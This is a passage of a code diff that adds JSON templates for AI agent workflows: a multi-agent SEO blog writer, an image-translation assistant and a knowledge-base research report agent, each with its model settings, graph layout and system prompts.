+ "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Body Agent" + }, + "dragging": false, + "id": "Agent:IcyPawsRescue", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 439.3374395738501, + "y": 366.1408588516909 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "Polishes and finalizes the entire blog post. Enhances clarity, checks keyword usage, improves flow, and generates a meta title and description for SEO. Operates after all sections are completed.\n\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Editor Agent**, the final agent in a multi-agent SEO blog writing workflow. You are responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n## Integration Responsibilities\n\n- Maintain alignment with Lead Agent's original intent and audience\n\n- Preserve the structure and keyword strategy from Outline Agent\n\n- Enhance and polish Body Agent's content without altering core information\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Editor Agent" + }, + "dragging": false, + "id": "Agent:TenderAdsAllow", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 730.8513124709204, + "y": 327.351197329827 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_0" + }, + "dragging": false, + "id": "Tool:ThreeWallsRing", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": -26.93431957115564, + "y": 531.4384641920368 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_1" + }, + "dragging": false, + "id": "Tool:FloppyJokesItch", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 414.6786783453011, + "y": 499.39483076093194 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "text": "This is a multi-agent version of the SEO blog generation workflow. It simulates a small team of AI \u201cwriters\u201d, where each agent plays a specialized role \u2014 just like a real editorial team.\n\nInstead of one AI doing everything in order, this version uses a **Lead Agent** to assign tasks to different sub-agents, who then write and edit the blog in parallel. The Lead Agent manages everything and produces the final output.\n\n### Why use multi-agent format?\n\n- Better control over each stage of writing \n- Easier to reuse agents across tasks \n- More human-like workflow (planning \u2192 writing \u2192 editing \u2192 publishing) \n- Easier to scale and customize for advanced users\n\n### Flow Summary:\n\n1. `LeadWriter_Agent` takes your input and creates a plan\n2. It sends that plan to:\n - `OutlineWriter_Agent`: build blog structure\n - `BodyWriter_Agent`: write full content\n - `FinalEditor_Agent`: polish and finalize\n3. `LeadWriter_Agent` collects all results and outputs the final blog post\n" + }, + "label": "Note", + "name": "Workflow Overall Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 208, + "id": "Note:ElevenVansInvent", + "measured": { + "height": 208, + "width": 518 + }, + "position": { + "x": -336.6586460874556, + "y": 113.43253511344867 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 518 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis is the central agent that controls the entire writing process.\n\n**What it does**:\n- Reads your blog topic and intent\n- Generates a clear writing plan (topic, audience, goal, keywords)\n- Sends instructions to all sub-agents\n- Waits for their responses and checks quality\n- If any section is missing or weak, it can request a rewrite\n- Finally, it assembles all parts into a complete blog and sends it back to you\n" + }, + "label": "Note", + "name": "Lead Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 146, + "id": "Note:EmptyClubsGreet", + "measured": { + "height": 146, + "width": 334 + }, + "position": { + "x": 390.1408623279084, + "y": 2.6521144030202493 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 334 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent is responsible for building the blog's structure. It creates an outline that shows what the article will cover and how it's organized.\n\n**What it does**:\n- Suggests a blog title that matches the topic and keywords \n- Breaks the article into sections using H2 and H3 headers \n- Adds a short description of what each section should include \n- Assigns SEO keywords to each section for better search visibility \n- Uses search data (via Tavily Search) to find how similar blogs are structured" + }, + "label": "Note", + "name": "Outline Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 157, + "id": "Note:CurlyTigersDouble", + "measured": { + "height": 157, + "width": 394 + }, + "position": { + "x": -60.03139680691618, + "y": 595.8208080534818 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 394 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent is in charge of writing the full blog content, section by section, based on the outline it receives.\n\n**What it does**:\n- Takes each section heading from the outline (H2 / H3)\n- Writes a complete paragraph (150\u2013220 words) under each section\n- Naturally includes the keywords provided for that section\n- Uses the Tavily Search tool to add real-world examples, definitions, or facts if needed\n- Makes sure each section is clear, useful, and easy to read\n" + }, + "label": "Note", + "name": "Body Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 164, + "id": "Note:StrongKingsCamp", + "measured": { + "height": 164, + "width": 408 + }, + "position": { + "x": 446.54943226110845, + "y": 590.9443887062529 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 408 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent reviews, polishes, and finalizes the blog post written by the BodyWriter_Agent. It ensures everything is clean, smooth, and SEO-compliant.\n\n**What it does**:\n- Improves grammar, sentence flow, and transitions \n- Makes sure the content reads naturally and professionally \n- Checks whether keywords are present and well integrated (but not overused) \n- Verifies that the structure follows the correct H1/H2/H3 format \n" + }, + "label": "Note", + "name": "Editor Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 147, + "id": "Note:OpenOttersShow", + "measured": { + "height": 147, + "width": 357 + }, + "position": { + "x": 976.6858726228803, + "y": 422.7404806291804 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 357 + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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+} \ No newline at end of file diff --git a/agent/templates/image_lingo.json b/agent/templates/image_lingo.json new file mode 100644 index 0000000..0f874d7 --- /dev/null +++ b/agent/templates/image_lingo.json @@ -0,0 +1,267 @@ +{ + "id": 13, + "title": { + "en": "ImageLingo", + "zh": "图片解析"}, + "description": { + "en": "ImageLingo lets you snap any photo containing text—menus, signs, or documents—and instantly recognize and translate it into your language of choice using advanced AI-powered translation technology.", + "zh": "多模态大模型允许您拍摄任何包含文本的照片——菜单、标志或文档——立即识别并转换成您选择的语言。"}, + "canvas_type": "Consumer App", + "dsl": { + "components": { + "Agent:CoolPandasCrash": { + "downstream": [ + "Message:CurlyApplesRelate" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_filter": "image2text", + "llm_id": "qwen-vl-plus@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + }, + "structured_output": {} + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "The user query is {sys.query}\n\n\n\nThe input files are {sys.files}\n\n", + "role": "user" + } + ], + "sys_prompt": "You are a multilingual translation assistant that works from images. When given a photo of any text or scene, you should:\n\n\n\n1. Detect and extract all written text in the image, regardless of font, orientation, or style. \n\n2. Identify the source language of the extracted text. \n\n3. Determine the target language:\n\n - If the user explicitly specifies a language, use that.\n\n - If no language is specified, automatically detect the user\u2019s spoken language and use that as the target. \n\n4. Translate the content accurately into the target language, preserving meaning, tone, and formatting (e.g., line breaks, punctuation). \n\n5. If the image contains signage, menus, labels, or other contextual text, adapt the translation to be natural and context-appropriate for daily use. \n\n6. Return the translated text in plain, well-formatted paragraphs. If the user asks, also provide transliteration for non-Latin scripts. \n\n7. If the image is unclear or the target language cannot be determined, ask a clarifying follow-up question.\n\n\nExample:\n\nUser: \u201cTranslate this photo for me.\u201d\n\nAgent Input: [Image of a Japanese train schedule]\n\nAgent Output:\n\n\u201c7:30 AM \u2013 \u6771\u4eac\u99c5 (Tokyo Station) \n\n8:15 AM \u2013 \u65b0\u5927\u962a (Shin-Osaka)\u201d \n\n(Detected user language: English)```\n\n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "sys.files" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:CurlyApplesRelate": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:CoolPandasCrash@content}" + ] + } + }, + "upstream": [ + "Agent:CoolPandasCrash" + ] + }, + "begin": { + "downstream": [ + "Agent:CoolPandasCrash" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "task", + "prologue": "Hi there! I\u2019m ImageLingo, your on-the-go image translation assistant\u2014just snap a photo, and I\u2019ll instantly translate and adapt it into your language." + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:CoolPandasCrashend", + "source": "begin", + "sourceHandle": "start", + "target": "Agent:CoolPandasCrash", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:CoolPandasCrashstart-Message:CurlyApplesRelateend", + "source": "Agent:CoolPandasCrash", + "sourceHandle": "start", + "target": "Message:CurlyApplesRelate", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "task", + "prologue": "Hi there! I\u2019m ImageLingo, your on-the-go image translation assistant\u2014just snap a photo, and I\u2019ll instantly translate and adapt it into your language." + }, + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 50, + "y": 200 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_goto": "", + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_filter": "image2text", + "llm_id": "qwen-vl-plus@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + }, + "structured_output": {} + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "The user query is {sys.query}\n\n\n\nThe input files are {sys.files}\n\n", + "role": "user" + } + ], + "sys_prompt": "You are a multilingual translation assistant that works from images. When given a photo of any text or scene, you should:\n\n\n\n1. Detect and extract all written text in the image, regardless of font, orientation, or style. \n\n2. Identify the source language of the extracted text. \n\n3. Determine the target language:\n\n - If the user explicitly specifies a language, use that.\n\n - If no language is specified, automatically detect the user\u2019s spoken language and use that as the target. \n\n4. Translate the content accurately into the target language, preserving meaning, tone, and formatting (e.g., line breaks, punctuation). \n\n5. If the image contains signage, menus, labels, or other contextual text, adapt the translation to be natural and context-appropriate for daily use. \n\n6. Return the translated text in plain, well-formatted paragraphs. If the user asks, also provide transliteration for non-Latin scripts. \n\n7. If the image is unclear or the target language cannot be determined, ask a clarifying follow-up question.\n\n\nExample:\n\nUser: \u201cTranslate this photo for me.\u201d\n\nAgent Input: [Image of a Japanese train schedule]\n\nAgent Output:\n\n\u201c7:30 AM \u2013 \u6771\u4eac\u99c5 (Tokyo Station) \n\n8:15 AM \u2013 \u65b0\u5927\u962a (Shin-Osaka)\u201d \n\n(Detected user language: English)```\n\n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "sys.files" + }, + "label": "Agent", + "name": "Translation Agent With Vision" + }, + "dragging": false, + "id": "Agent:CoolPandasCrash", + "measured": { + "height": 87, + "width": 200 + }, + "position": { + "x": 350.5, + "y": 200 + }, + "selected": true, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:CoolPandasCrash@content}" + ] + }, + "label": "Message", + "name": "Message" + }, + "id": "Message:CurlyApplesRelate", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 650, + "y": 200 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "ImageLingo lets you snap any photo containing text\u2014menus, signs, or documents\u2014and instantly recognize and translate it into your language of choice using advanced OCR and AI-powered translation technology. With automatic source-language detection and context-aware adaptations, translations preserve formatting, tone, and intent. Your on-the-go language assistant. " + }, + "label": "Note", + "name": "Translation Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 190, + "id": "Note:OpenCobrasMarry", + "measured": { + "height": 190, + "width": 376 + }, + "position": { + "x": 385.5, + "y": -42 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 376 + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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+} \ No newline at end of file diff --git a/agent/templates/knowledge_base_report.json b/agent/templates/knowledge_base_report.json new file mode 100644 index 0000000..581b5e2 --- /dev/null +++ b/agent/templates/knowledge_base_report.json @@ -0,0 +1,331 @@ +{ + "id": 20, + "title": { + "en": "Report Agent Using Knowledge Base", + "zh": "知识库检索智能体"}, + "description": { + "en": "A report generation assistant using local knowledge base, with advanced capabilities in task planning, reasoning, and reflective analysis. Recommended for academic research paper Q&A", + "zh": "一个使用本地知识库的报告生成助手，具备高级能力，包括任务规划、推理和反思性分析。推荐用于学术研究论文问答。"}, + "canvas_type": "Agent", + "dsl": { + "components": { + "Agent:NewPumasLick": { + "downstream": [ + "Message:OrangeYearsShine" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen", + "maxTokensEnabled": true, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 128000, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "# User Query\n {sys.query}", + "role": "user" + } + ], + "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n * Actions:\n * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n * Example rules:\n * If the question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n * Depth-first: define 3\u20135 perspectives (methodology/stakeholders/time dimension/technical route, etc.), assign search keywords, target document types, and output format for each perspective.\n * Breadth-first: list subtasks, prioritize them, and assign search terms.\n * Simple query: directly provide the search sentence and required fields.\n4. **Retrieval Execution**\n * After retrieval: perform coverage check (does it contain the key facts?) and quality check (source diversity, authority, latest update time).\n * If standards are not met, automatically loop: rewrite queries (synonyms/cross-domain terms) and retry \u22643 times, or flag as requiring external search.\n5. **Integration & Reasoning**\n * Build the answer using a **fact\u2013evidence\u2013reasoning** chain. For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n * [ ] Key concepts and expected outputs identified\n * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n * [ ] Meets quality standards (see above)\n * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n * [ ] Each conclusion has at least one direct evidence source\n * [ ] State assumptions/uncertainties\n * [ ] Provide next-step suggestions or experiment/retrieval plans\n * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n * Hierarchically clear modular structure\n * Logical grouping according to the MECE principle\n * Professionally presented formatting\n * Step-by-step cognitive guidance\n * Reasonable use of headings and dividers for clarity\n * *Italicize* key parameters\n * **Bold** critical information\n5. **LaTeX formula requirements**:\n * Inline formulas: start and end with `$`\n * Block formulas: start and end with `$$`, each `$$` on its own line\n * Block formula content must comply with LaTeX math syntax\n * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Retrieval", + "name": "Retrieval", + "params": { + "cross_languages": [], + "description": "", + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:OrangeYearsShine": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:NewPumasLick@content}" + ] + } + }, + "upstream": [ + "Agent:NewPumasLick" + ] + }, + "begin": { + "downstream": [ + "Agent:NewPumasLick" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "\u4f60\u597d\uff01 \u6211\u662f\u4f60\u7684\u52a9\u7406\uff0c\u6709\u4ec0\u4e48\u53ef\u4ee5\u5e2e\u5230\u4f60\u7684\u5417\uff1f" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:NewPumasLickend", + "source": "begin", + "sourceHandle": "start", + "target": "Agent:NewPumasLick", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:NewPumasLickstart-Message:OrangeYearsShineend", + "markerEnd": "logo", + "source": "Agent:NewPumasLick", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Message:OrangeYearsShine", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:NewPumasLicktool-Tool:AllBirdsNailend", + "selected": false, + "source": "Agent:NewPumasLick", + "sourceHandle": "tool", + "target": "Tool:AllBirdsNail", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "\u4f60\u597d\uff01 \u6211\u662f\u4f60\u7684\u52a9\u7406\uff0c\u6709\u4ec0\u4e48\u53ef\u4ee5\u5e2e\u5230\u4f60\u7684\u5417\uff1f" + }, + "label": "Begin", + "name": "begin" + }, + "dragging": false, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": -9.569875358221438, + "y": 205.84018385864917 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:NewPumasLick@content}" + ] + }, + "label": "Message", + "name": "Response" + }, + "dragging": false, + "id": "Message:OrangeYearsShine", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 734.4061285881053, + "y": 199.9706031723009 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen", + "maxTokensEnabled": true, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 128000, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "# User Query\n {sys.query}", + "role": "user" + } + ], + "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n * Actions:\n * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n * Example rules:\n * If the question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n * Depth-first: define 3\u20135 perspectives (methodology/stakeholders/time dimension/technical route, etc.), assign search keywords, target document types, and output format for each perspective.\n * Breadth-first: list subtasks, prioritize them, and assign search terms.\n * Simple query: directly provide the search sentence and required fields.\n4. **Retrieval Execution**\n * After retrieval: perform coverage check (does it contain the key facts?) and quality check (source diversity, authority, latest update time).\n * If standards are not met, automatically loop: rewrite queries (synonyms/cross-domain terms) and retry \u22643 times, or flag as requiring external search.\n5. **Integration & Reasoning**\n * Build the answer using a **fact\u2013evidence\u2013reasoning** chain. For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n * [ ] Key concepts and expected outputs identified\n * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n * [ ] Meets quality standards (see above)\n * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n * [ ] Each conclusion has at least one direct evidence source\n * [ ] State assumptions/uncertainties\n * [ ] Provide next-step suggestions or experiment/retrieval plans\n * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n * Hierarchically clear modular structure\n * Logical grouping according to the MECE principle\n * Professionally presented formatting\n * Step-by-step cognitive guidance\n * Reasonable use of headings and dividers for clarity\n * *Italicize* key parameters\n * **Bold** critical information\n5. **LaTeX formula requirements**:\n * Inline formulas: start and end with `$`\n * Block formulas: start and end with `$$`, each `$$` on its own line\n * Block formula content must comply with LaTeX math syntax\n * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n", + "temperature": "0.1", + "temperatureEnabled": true, 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For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n * [ ] Key concepts and expected outputs identified\n * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n * [ ] Meets quality standards (see above)\n * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n * [ ] Each conclusion has at least one direct evidence source\n * [ ] State assumptions/uncertainties\n * [ ] Provide next-step suggestions or experiment/retrieval plans\n * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n * Hierarchically clear modular structure\n * Logical grouping according to the MECE principle\n * Professionally presented formatting\n * Step-by-step cognitive guidance\n * Reasonable use of headings and dividers for clarity\n * *Italicize* key parameters\n * **Bold** critical information\n5. **LaTeX formula requirements**:\n * Inline formulas: start and end with `$`\n * Block formulas: start and end with `$$`, each `$$` on its own line\n * Block formula content must comply with LaTeX math syntax\n * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Retrieval", + "name": "Retrieval", + "params": { + "cross_languages": [], + "description": "", + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:OrangeYearsShine": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:NewPumasLick@content}" + ] + } + }, + "upstream": [ + "Agent:NewPumasLick" + ] + }, + "begin": { + "downstream": [ + "Agent:NewPumasLick" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "\u4f60\u597d\uff01 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199.9706031723009 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen", + "maxTokensEnabled": true, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 128000, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "# User Query\n {sys.query}", + "role": "user" + } + ], + "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n * Actions:\n * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n * Example rules:\n * If the 